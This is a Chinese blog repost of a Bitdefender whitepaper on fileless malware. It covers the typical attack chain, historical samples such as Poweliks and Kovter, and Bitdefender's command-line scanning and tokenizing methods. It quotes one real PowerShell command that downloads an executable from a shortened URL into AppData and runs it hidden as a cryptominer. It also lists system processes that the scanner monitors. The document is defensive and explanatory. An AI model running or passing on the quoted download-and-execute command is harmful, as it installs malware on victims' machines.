bitdefender 无文件攻击——如果编码的话,会有解码动作

http://www.bitdefender-cn.com/downloads/datasheet/Bitdefender-Fileless.pdf 

无文件攻击 黑客越来越多地转向无文件攻击,因为它们比基于文件的攻击成功 的可能性高10倍。这些无文件感染证明了网络犯罪分子的足智多谋 和创造力。

什么是无文件攻击? 无文件攻击(也称为零占用或宏攻击)与传统恶意软件的不同之处在于,它不需要安装恶意软件来感染受害者的计算机。 相反,它利用了 计算机上的现有漏洞。 它存在于计算机的内存中,并使用常见的系统工具通过将恶意代码注入正常安全且受信任的进程(如javaw.exe和 iexplore.exe)来执行攻击【只是其中一种方式】。 这些攻击可以在不下载任何恶意文件的情况下控制计算机,因此得名。 无文件攻击也被称为基于内存的攻击或“外部”的攻击。 攻击者可以 利用最终用户每天使用的易受攻击的软件来渗透和入侵。 为什么网络犯罪分子会使用无文件攻击? 黑客越来越多地转向无文件攻击,因为他们成功的可能性是基于文件的攻击的10倍。 这些无文件感染证明了网络犯罪分子的足智多谋和创 造力。 在他们的攻击中,黑客的目标是: • 隐身 - 尽可能避免被安全产品检测到的能力。 • 权限提升 - 利用漏洞的能力,使其能够对系统进行管理访问,以便他们可以随心所欲地执行任何操作。 • 信息收集 - 尽可能多地收集有关受害者和受害者计算机的数据,以便以后用于其他攻击。 • 持久性 - 能够在最长的时间内将恶意软件保留在系统中,未被发现。 [2] 1. 2. 用户收到带有恶意网站 链接的垃圾邮件 6. 用户点击链接 PowerShell脚本定位并 将用户的数据发送给攻 击者 3. 5. 恶意网站在用户的计算机 上加载具有已知Flash漏 洞 4. >_ PowerShell从命令和控制服务 器下载并执行脚本 Flash将打开Windows PowerShell工 具,该工具可以在内存中运行时通过命 令行执行指令 无文件攻击 - 白皮书 无文件攻击如何工作? 无文件攻击就像大多数其他网络攻击一样开始。 网络犯罪分子试图访问计算机系统。 他们可能会尝试在未修补的软件中利用安全漏洞,或 尝试使用爆破攻击来破解服务帐户的密码。 一种更常见的技术是发送网络钓鱼电子邮件,试图欺骗人们点击恶意链接或打开恶意附件,例 如包含宏的Microsoft Word文档。 一旦黑客获得访问权限,他们就会直接从计算机的内存中运行命令或恶意软件。 他们经常利用内置的系统管理工具(如Windows PowerShell或计划任务)来运行命令和恶意软件。 有四种主要攻击类别: • 仅限内存的威胁。 这些威胁利用Windows服务中的漏洞直接在内存中执行其payload。 重新启动受仅内存威胁感染的系统会清除掉病毒。 • 无文件持久性攻击。 在这些攻击中,即使恶意payload未加载到硬盘上,即使系统重新启动,感染仍然存在。 • 两用工具攻击。 攻击者使用合法的Windows系统工具和应用程序,但出于恶意目的,例如获取目标系统的凭据或将数据发送回给他们。 • 非可移植可执行(PE)文件攻击。 这是一种涉及脚本和合法工具的两用工具攻击。 这些攻击经常使用PowerShell,WScript或CScript。 历史记录 无文件恶意软件感染于2014年8月出现,当时Poweliks Trojan首次亮相。它最初设计用于执行点击欺诈,但它演变成基于注册表的威胁。该标本 通过利用Microsoft Word漏洞进入系统。它使用PowerShell和JavaScript以及shellcode来快速启动其内存执行。 另一个在2015年引起关注的无文件恶意软件标本是Kovter。在那个化身中,Kovter的感染技术与Poweliks的感染技术非常相似。即使在使用恶意 Windows可执行文件启动感染时,样本也会在注册表中存储模糊或加密的工件后删除该文件。至少有一个变体通过使用执行JavaScript的快捷方 式文件来维持持久性。此脚本启动PowerShell并执行shellcode,以便在向其中注入恶意代码后启动非恶意应用程序。 在2016年中期,PowerSniff感染始于带有恶意宏的Microsoft Word文档。该标本的内存机制类似于Kovter的某些方面,并涉及执行shellcode的 PowerShell脚本,该脚本解码并执行额外的恶意负载,仅在内存中运行。 PowerSniff能够将恶意DLL临时保存到文件系统。 2017年初,另一个名为POSHSPY的复杂攻击使用操作系统的Windows Management Instrumentation(WMI)功能来维护持久性,并依靠 PowerShell来实现其有效负载。该样本能够下载可执行文件,并将其保存到文件系统中。 Bitdefender如何保护您免受无文件攻击?

 

Bitdefender使用以下技术来检测无文件攻击:

命令行监控 我们正在监视已知用于执行无文件攻击的进程列表。 此列表包括诸如的进程 autoit.exe, bitsadmin.exe, cscript.exe, java.exe, javaw.exe, miprvse.exe, net.exe, netsh.exe, powershell.exe, powershell_ise.exe, py.exe, python.exe, regedit.exe, regsvr32.exe, rundll32.exe, schtasks.exe, 和 wscript.exe. 当在Bitdefender技术保护的机器上启动新进程时,将提取命令行并将其作为缓冲区发送到扫描引擎,使用有关原始进程路径和父进程的信息扩充 扫描上下文。 在其他文件类型中找到的标识为命令(cmd)的缓冲区也会被扫描,如LNK,JOB,BAT和PS1。[3] 无文件攻击 - 白皮书 缓冲区攻击示例: \Device\HarddiskVolume1\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe” -command “NewItem -ItemType Directory -Force ($env:APPDATA+\’\\FastCh\\\’); &{(new-object System.Net.WebClient). DownloadFile(\’http://bit.ly/2nzJcoP\’, ($env:APPDATA+\’\\FastCh\\CleanWork.exe\’))}; & {Start-Process -WindowStyle hidden $env:APPDATA\’\\FastCh\\CleanWork.exe\’ \’-o f.pooling.cf:80 --nicehash --max-cpuusage=20 --keepalive -B\’ 扫描流程 1. 在少数情况下,执行一些特定的预处理。 例如,cmd.exe进程忽略了(^)字符,因此它从命令行中删除。 2. 命令行分为单词/ token,其中一个单词/ token表示由空格或引号分隔的字符串。 3. 每个单词由一系列线性处理管道(tokenizer)处理: a) 如果单词是Base64字符串,则标记生成器从头开始解码并处理字符串,因为它将成为命令行的一部分。 b) 如果单词是引号中的字符串,则它从内到外作为单个单词处理一次,然后作为命令行的一部分处理。 c) 如果当前单词以字符串X结束,或包含(视情况而定或优先选择)字符串X,则将它传递给下一阶段,这只能通过下一个字来克服。 4. 当单词到达最终状态时,设置一个标志,并且标记器进程从下一个单词开始。 5. 在扫描过程中,我们在每个受监视的过程中搜索单词或关键词序列。 6. 对于每个单词或单词序列,我们设置特定的标志,因为这些单词具有含义:从特定的过程参数到URL。 例如,EncodedCommand字是 Powershell的参数。 7. 再一次,如果一个单词在Base64中被编码,它将被解码并且结果将被重新引入到过程算法中。 8. 启发式算法是根据从上述标记器中提取的标志构建的。 它们还可以与引用父进程的标志组合使用。 代码缓冲区 在扫描文件较少的攻击时,我们还会关联其他Bitdefender技术的信息,例如: • 高级反漏洞检测到的内存缓冲区,遵循面向返回编程(ROP)等开发方法。 例如,包含在浏览器内存中的Flash沙箱外部执行的shellcode 的缓冲区。 • 进程检测可以通过执行行为过程分析来检测前所未见的恶意软件。 对于无文件攻击,我们会查找进程检测检测到的可疑内存缓冲区,这是 由于远程进程中的代码注入,以及在某些情况下,在同一源进程的内存中。 例如,我们扫描在漏洞利用框架中常用的meterpreter reverse-shell可执行文件的缓冲区,如MetaSploit。

posted @ 2022-02-16 11:45  bonelee  阅读(179)  评论(0编辑  收藏  举报